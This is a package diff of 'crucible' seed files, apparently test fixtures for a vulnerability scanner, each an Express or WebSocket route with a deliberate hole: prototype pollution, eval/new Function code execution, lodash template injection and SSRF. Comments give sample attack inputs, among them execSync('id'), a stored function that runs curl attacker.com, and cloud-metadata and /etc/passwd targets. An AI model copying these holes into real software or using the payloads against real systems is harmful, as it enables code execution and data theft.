thuban 0.4.3 → 0.4.6

package/dist/packages/crucible/seeds/js/seed-043.js

@@ -1,27 +1,27 @@
-// [CRUCIBLE-SEED]
-// category: prototype_pollution
-// severity: high
-// language: javascript
-// expected: prototype pollution via lodash _.set or _.merge with user-controlled path
-
-const _ = require('lodash');
-const express = require('express');
-const router = express.Router();
-
-const globalConfig = {};
-
-router.post('/admin/config', (req, res) => {
-  const { path, value } = req.body;
-  // _.set with user-controlled path — pollutes prototype when path includes __proto__
-  _.set(globalConfig, path, value);
-  res.json({ ok: true, config: globalConfig });
-});
-
-router.post('/theme', (req, res) => {
-  const theme = req.body.theme;
-  // _.merge is vulnerable to prototype pollution
-  const merged = _.merge({}, { colors: { primary: '#333', secondary: '#666' } }, theme);
-  res.json({ applied: merged });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: prototype_pollution
+// severity: high
+// language: javascript
+// expected: prototype pollution via lodash _.set or _.merge with user-controlled path
+
+const _ = require('lodash');
+const express = require('express');
+const router = express.Router();
+
+const globalConfig = {};
+
+router.post('/admin/config', (req, res) => {
+  const { path, value } = req.body;
+  // _.set with user-controlled path — pollutes prototype when path includes __proto__
+  _.set(globalConfig, path, value);
+  res.json({ ok: true, config: globalConfig });
+});
+
+router.post('/theme', (req, res) => {
+  const theme = req.body.theme;
+  // _.merge is vulnerable to prototype pollution
+  const merged = _.merge({}, { colors: { primary: '#333', secondary: '#666' } }, theme);
+  res.json({ applied: merged });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-044.js

@@ -1,29 +1,29 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: critical
-// language: javascript
-// expected: eval() called with user-controlled expression string
-
-const express = require('express');
-const router = express.Router();
-
-router.post('/calculate', (req, res) => {
-  const { formula } = req.body;
-  try {
-    // Attacker sends: "process.mainModule.require('child_process').execSync('id')"
-    const result = eval(formula);
-    res.json({ result });
-  } catch (err) {
-    res.status(400).json({ error: err.message });
-  }
-});
-
-router.get('/template', (req, res) => {
-  const template = req.query.tpl;
-  const data = { user: req.session.user, ts: Date.now() };
-  // eval to render a "template" string from query params
-  const rendered = eval('`' + template + '`');
-  res.send(rendered);
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: critical
+// language: javascript
+// expected: eval() called with user-controlled expression string
+
+const express = require('express');
+const router = express.Router();
+
+router.post('/calculate', (req, res) => {
+  const { formula } = req.body;
+  try {
+    // Attacker sends: "process.mainModule.require('child_process').execSync('id')"
+    const result = eval(formula);
+    res.json({ result });
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+router.get('/template', (req, res) => {
+  const template = req.query.tpl;
+  const data = { user: req.session.user, ts: Date.now() };
+  // eval to render a "template" string from query params
+  const rendered = eval('`' + template + '`');
+  res.send(rendered);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-045.js

@@ -1,33 +1,33 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: critical
-// language: javascript
-// expected: new Function() constructor used with user-supplied code string
-
-const express = require('express');
-const router = express.Router();
-
-function runSandboxedCode(code, context) {
-  // new Function() is NOT sandboxed — has full access to global scope
-  const fn = new Function('ctx', `with(ctx) { ${code} }`);
-  return fn(context);
-}
-
-router.post('/scripting/run', (req, res) => {
-  const { script, params } = req.body;
-  try {
-    const result = runSandboxedCode(script, { params, Math, JSON });
-    res.json({ output: result });
-  } catch (err) {
-    res.status(400).json({ error: err.message });
-  }
-});
-
-router.post('/hooks/evaluate', (req, res) => {
-  const { hookCode } = req.body;
-  const hook = new Function('event', 'context', hookCode);
-  const result = hook({ type: 'user.created' }, { req });
-  res.json({ result });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: critical
+// language: javascript
+// expected: new Function() constructor used with user-supplied code string
+
+const express = require('express');
+const router = express.Router();
+
+function runSandboxedCode(code, context) {
+  // new Function() is NOT sandboxed — has full access to global scope
+  const fn = new Function('ctx', `with(ctx) { ${code} }`);
+  return fn(context);
+}
+
+router.post('/scripting/run', (req, res) => {
+  const { script, params } = req.body;
+  try {
+    const result = runSandboxedCode(script, { params, Math, JSON });
+    res.json({ output: result });
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+router.post('/hooks/evaluate', (req, res) => {
+  const { hookCode } = req.body;
+  const hook = new Function('event', 'context', hookCode);
+  const result = hook({ type: 'user.created' }, { req });
+  res.json({ result });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-046.js

@@ -1,33 +1,33 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: high
-// language: javascript
-// expected: eval() used in JSON reviver to execute serialized function strings
-
-function deserializeWithFunctions(json) {
-  return JSON.parse(json, (key, value) => {
-    if (typeof value === 'string' && value.startsWith('__fn__:')) {
-      // Executes arbitrary code stored in JSON as a function string
-      return eval('(' + value.slice(7) + ')');
-    }
-    return value;
-  });
-}
-
-function loadConfig(configJson) {
-  const config = deserializeWithFunctions(configJson);
-  return config;
-}
-
-// Elsewhere in codebase, configs are stored in DB and returned to this loader
-// Attacker-controlled DB entry:
-// { "onSuccess": "__fn__:function(){ require('child_process').exec('curl attacker.com') }" }
-
-const express = require('express');
-const router = express.Router();
-router.post('/config/load', (req, res) => {
-  const config = loadConfig(req.body.config);
-  res.json({ loaded: true, keys: Object.keys(config) });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: high
+// language: javascript
+// expected: eval() used in JSON reviver to execute serialized function strings
+
+function deserializeWithFunctions(json) {
+  return JSON.parse(json, (key, value) => {
+    if (typeof value === 'string' && value.startsWith('__fn__:')) {
+      // Executes arbitrary code stored in JSON as a function string
+      return eval('(' + value.slice(7) + ')');
+    }
+    return value;
+  });
+}
+
+function loadConfig(configJson) {
+  const config = deserializeWithFunctions(configJson);
+  return config;
+}
+
+// Elsewhere in codebase, configs are stored in DB and returned to this loader
+// Attacker-controlled DB entry:
+// { "onSuccess": "__fn__:function(){ require('child_process').exec('curl attacker.com') }" }
+
+const express = require('express');
+const router = express.Router();
+router.post('/config/load', (req, res) => {
+  const config = loadConfig(req.body.config);
+  res.json({ loaded: true, keys: Object.keys(config) });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-047.js

@@ -1,29 +1,29 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: high
-// language: javascript
-// expected: eval() inside setTimeout and setInterval with user-controlled string
-
-const WebSocket = require('ws');
-
-const wss = new WebSocket.Server({ port: 8080 });
-
-wss.on('connection', (ws) => {
-  ws.on('message', (message) => {
-    const msg = JSON.parse(message.toString());
-
-    if (msg.type === 'schedule') {
-      // msg.code is user-supplied — eval runs arbitrary JS after delay
-      setTimeout(() => eval(msg.code), msg.delay || 1000);
-      ws.send(JSON.stringify({ scheduled: true }));
-    }
-
-    if (msg.type === 'poll') {
-      const intervalId = setInterval(() => eval(msg.pollCode), msg.interval || 5000);
-      setTimeout(() => clearInterval(intervalId), msg.duration || 60000);
-      ws.send(JSON.stringify({ polling: true }));
-    }
-  });
-});
-
-module.exports = wss;
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: high
+// language: javascript
+// expected: eval() inside setTimeout and setInterval with user-controlled string
+
+const WebSocket = require('ws');
+
+const wss = new WebSocket.Server({ port: 8080 });
+
+wss.on('connection', (ws) => {
+  ws.on('message', (message) => {
+    const msg = JSON.parse(message.toString());
+
+    if (msg.type === 'schedule') {
+      // msg.code is user-supplied — eval runs arbitrary JS after delay
+      setTimeout(() => eval(msg.code), msg.delay || 1000);
+      ws.send(JSON.stringify({ scheduled: true }));
+    }
+
+    if (msg.type === 'poll') {
+      const intervalId = setInterval(() => eval(msg.pollCode), msg.interval || 5000);
+      setTimeout(() => clearInterval(intervalId), msg.duration || 60000);
+      ws.send(JSON.stringify({ polling: true }));
+    }
+  });
+});
+
+module.exports = wss;

package/dist/packages/crucible/seeds/js/seed-048.js

@@ -1,29 +1,29 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: critical
-// language: javascript
-// expected: eval() used to parse/execute lodash-style template with user input
-
-const _ = require('lodash');
-const express = require('express');
-const router = express.Router();
-
-router.get('/render', (req, res) => {
-  const templateStr = req.query.template;
-  const vars = req.query.vars ? JSON.parse(req.query.vars) : {};
-
-  // lodash template compiles and runs JS inside <%= %> — user-controlled template is code execution
-  const compiled = _.template(templateStr);
-  const output = compiled(vars);
-  res.send(output);
-});
-
-router.post('/email-preview', (req, res) => {
-  const { template, data } = req.body;
-  // Attacker template: "<%= process.mainModule.require('child_process').execSync('id') %>"
-  const compiled = _.template(template);
-  const html = compiled(data);
-  res.type('text/html').send(html);
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: critical
+// language: javascript
+// expected: eval() used to parse/execute lodash-style template with user input
+
+const _ = require('lodash');
+const express = require('express');
+const router = express.Router();
+
+router.get('/render', (req, res) => {
+  const templateStr = req.query.template;
+  const vars = req.query.vars ? JSON.parse(req.query.vars) : {};
+
+  // lodash template compiles and runs JS inside <%= %> — user-controlled template is code execution
+  const compiled = _.template(templateStr);
+  const output = compiled(vars);
+  res.send(output);
+});
+
+router.post('/email-preview', (req, res) => {
+  const { template, data } = req.body;
+  // Attacker template: "<%= process.mainModule.require('child_process').execSync('id') %>"
+  const compiled = _.template(template);
+  const html = compiled(data);
+  res.type('text/html').send(html);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-049.js

@@ -1,34 +1,34 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via http.get with unvalidated user-supplied URL
-
-const http = require('http');
-const https = require('https');
-const express = require('express');
-const router = express.Router();
-
-router.get('/proxy', (req, res) => {
-  const targetUrl = req.query.url;
-  // No validation — allows requests to internal services: http://169.254.169.254/
-  const client = targetUrl.startsWith('https') ? https : http;
-  client.get(targetUrl, (proxyRes) => {
-    res.writeHead(proxyRes.statusCode, proxyRes.headers);
-    proxyRes.pipe(res);
-  }).on('error', (err) => res.status(500).send(err.message));
-});
-
-router.post('/webhook/test', async (req, res) => {
-  const { webhookUrl } = req.body;
-  // User-supplied webhook URL — fetches internal endpoints
-  const response = await fetch(webhookUrl, {
-    method: 'POST',
-    body: JSON.stringify({ test: true }),
-    headers: { 'Content-Type': 'application/json' },
-  });
-  const data = await response.text();
-  res.json({ status: response.status, body: data });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via http.get with unvalidated user-supplied URL
+
+const http = require('http');
+const https = require('https');
+const express = require('express');
+const router = express.Router();
+
+router.get('/proxy', (req, res) => {
+  const targetUrl = req.query.url;
+  // No validation — allows requests to internal services: http://169.254.169.254/
+  const client = targetUrl.startsWith('https') ? https : http;
+  client.get(targetUrl, (proxyRes) => {
+    res.writeHead(proxyRes.statusCode, proxyRes.headers);
+    proxyRes.pipe(res);
+  }).on('error', (err) => res.status(500).send(err.message));
+});
+
+router.post('/webhook/test', async (req, res) => {
+  const { webhookUrl } = req.body;
+  // User-supplied webhook URL — fetches internal endpoints
+  const response = await fetch(webhookUrl, {
+    method: 'POST',
+    body: JSON.stringify({ test: true }),
+    headers: { 'Content-Type': 'application/json' },
+  });
+  const data = await response.text();
+  res.json({ status: response.status, body: data });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-050.js

@@ -1,34 +1,34 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via axios with user-controlled URL for avatar/image fetching
-
-const axios = require('axios');
-const express = require('express');
-const router = express.Router();
-
-router.post('/users/avatar', async (req, res) => {
-  const { avatarUrl } = req.body;
-  try {
-    // Attacker supplies: "http://10.0.0.1/admin" or "file:///etc/passwd"
-    const response = await axios.get(avatarUrl, {
-      responseType: 'arraybuffer',
-      maxRedirects: 5,
-      timeout: 10000,
-    });
-    res.set('Content-Type', response.headers['content-type']);
-    res.send(response.data);
-  } catch (err) {
-    res.status(400).json({ error: 'Failed to fetch avatar' });
-  }
-});
-
-router.get('/link-preview', async (req, res) => {
-  const url = req.query.url;
-  const { data } = await axios.get(url, { timeout: 5000 });
-  const title = data.match(/<title>(.*?)<\/title>/i)?.[1] || '';
-  res.json({ title, url });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via axios with user-controlled URL for avatar/image fetching
+
+const axios = require('axios');
+const express = require('express');
+const router = express.Router();
+
+router.post('/users/avatar', async (req, res) => {
+  const { avatarUrl } = req.body;
+  try {
+    // Attacker supplies: "http://10.0.0.1/admin" or "file:///etc/passwd"
+    const response = await axios.get(avatarUrl, {
+      responseType: 'arraybuffer',
+      maxRedirects: 5,
+      timeout: 10000,
+    });
+    res.set('Content-Type', response.headers['content-type']);
+    res.send(response.data);
+  } catch (err) {
+    res.status(400).json({ error: 'Failed to fetch avatar' });
+  }
+});
+
+router.get('/link-preview', async (req, res) => {
+  const url = req.query.url;
+  const { data } = await axios.get(url, { timeout: 5000 });
+  const title = data.match(/<title>(.*?)<\/title>/i)?.[1] || '';
+  res.json({ title, url });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-051.js

@@ -1,30 +1,30 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via node-fetch with user-controlled URL used in import/metadata fetching
-
-const fetch = require('node-fetch');
-const express = require('express');
-const router = express.Router();
-
-router.post('/integrations/import', async (req, res) => {
-  const { dataUrl, format } = req.body;
-  // dataUrl from user — attacker can target internal metadata: http://169.254.169.254/latest/meta-data/
-  const response = await fetch(dataUrl);
-  if (!response.ok) return res.status(502).json({ error: 'Upstream error' });
-  const raw = await response.text();
-  res.json({ format, preview: raw.slice(0, 500) });
-});
-
-router.get('/oembed', async (req, res) => {
-  const endpoint = req.query.endpoint;
-  const url = req.query.url;
-  // endpoint is the oembed provider URL — user-controlled
-  const oembedUrl = `${endpoint}?url=${encodeURIComponent(url)}&format=json`;
-  const resp = await fetch(oembedUrl);
-  const data = await resp.json();
-  res.json(data);
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via node-fetch with user-controlled URL used in import/metadata fetching
+
+const fetch = require('node-fetch');
+const express = require('express');
+const router = express.Router();
+
+router.post('/integrations/import', async (req, res) => {
+  const { dataUrl, format } = req.body;
+  // dataUrl from user — attacker can target internal metadata: http://169.254.169.254/latest/meta-data/
+  const response = await fetch(dataUrl);
+  if (!response.ok) return res.status(502).json({ error: 'Upstream error' });
+  const raw = await response.text();
+  res.json({ format, preview: raw.slice(0, 500) });
+});
+
+router.get('/oembed', async (req, res) => {
+  const endpoint = req.query.endpoint;
+  const url = req.query.url;
+  // endpoint is the oembed provider URL — user-controlled
+  const oembedUrl = `${endpoint}?url=${encodeURIComponent(url)}&format=json`;
+  const resp = await fetch(oembedUrl);
+  const data = await resp.json();
+  res.json(data);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-052.js

@@ -1,30 +1,30 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via got/superagent with redirect following and user-controlled URL
-
-const got = require('got');
-const express = require('express');
-const router = express.Router();
-
-router.post('/check-url', async (req, res) => {
-  const { url } = req.body;
-  try {
-    // followRedirect: true — attacker can redirect to internal services
-    const response = await got(url, {
-      followRedirect: true,
-      timeout: { request: 8000 },
-      throwHttpErrors: false,
-    });
-    res.json({
-      statusCode: response.statusCode,
-      headers: response.headers,
-      bodyPreview: response.body.slice(0, 200),
-    });
-  } catch (err) {
-    res.status(400).json({ error: err.message });
-  }
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via got/superagent with redirect following and user-controlled URL
+
+const got = require('got');
+const express = require('express');
+const router = express.Router();
+
+router.post('/check-url', async (req, res) => {
+  const { url } = req.body;
+  try {
+    // followRedirect: true — attacker can redirect to internal services
+    const response = await got(url, {
+      followRedirect: true,
+      timeout: { request: 8000 },
+      throwHttpErrors: false,
+    });
+    res.json({
+      statusCode: response.statusCode,
+      headers: response.headers,
+      bodyPreview: response.body.slice(0, 200),
+    });
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+module.exports = router;